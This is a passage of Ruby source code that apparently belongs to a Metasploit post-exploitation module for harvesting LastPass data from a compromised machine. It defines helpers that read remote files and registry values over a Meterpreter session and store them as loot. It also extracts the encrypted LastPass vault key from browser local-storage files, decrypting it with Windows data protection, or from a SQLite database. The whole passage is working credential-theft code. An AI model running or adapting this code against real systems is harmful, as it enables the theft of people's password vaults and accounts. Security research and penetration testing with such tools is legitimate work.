def loot_file(path, data, title, type, description)
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
return nil if data.nil?
loot_path = store_loot(
title,
type,
session,
data,
nil,
description
)
loot_path
end
# Reads a remote file and returns the data
def read_remote_file(path)
data = nil
begin
data = read_file(path)
rescue EOFError
vprint_error "Error reading file #{path} It could be empty"
end
data
end
def read_registry_key_value(key, value)
begin
root_key, base_key = session.sys.registry.splitkey(key)
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
return nil unless reg_key
reg_value = reg_key.query_value(value)
return nil unless reg_value
rescue Rex::Post::Meterpreter::RequestError => e
vprint_error("#{e.message} (#{key}\\#{value})")
end
reg_key.close if reg_key
return reg_value.blank? ? nil : reg_value.data
end
def extract_local_encrypted_vault_key(browser, username, lp_data)
if browser.match(/Firefox|IE/)
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps'
encrypted_vault_key = read_remote_file(encrypted_key_path)
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
else
db = SQLite3::Database.new(lp_data['lp_db_loot'])
result = db.execute(
'SELECT data FROM LastPassData ' \
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
)
encrypted_vault_key = result[0][0]
end
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
end
# Returns OS separator in a session type agnostic way
def system_separator
return session.platform == 'windows' ? '\\' : '/'
end
end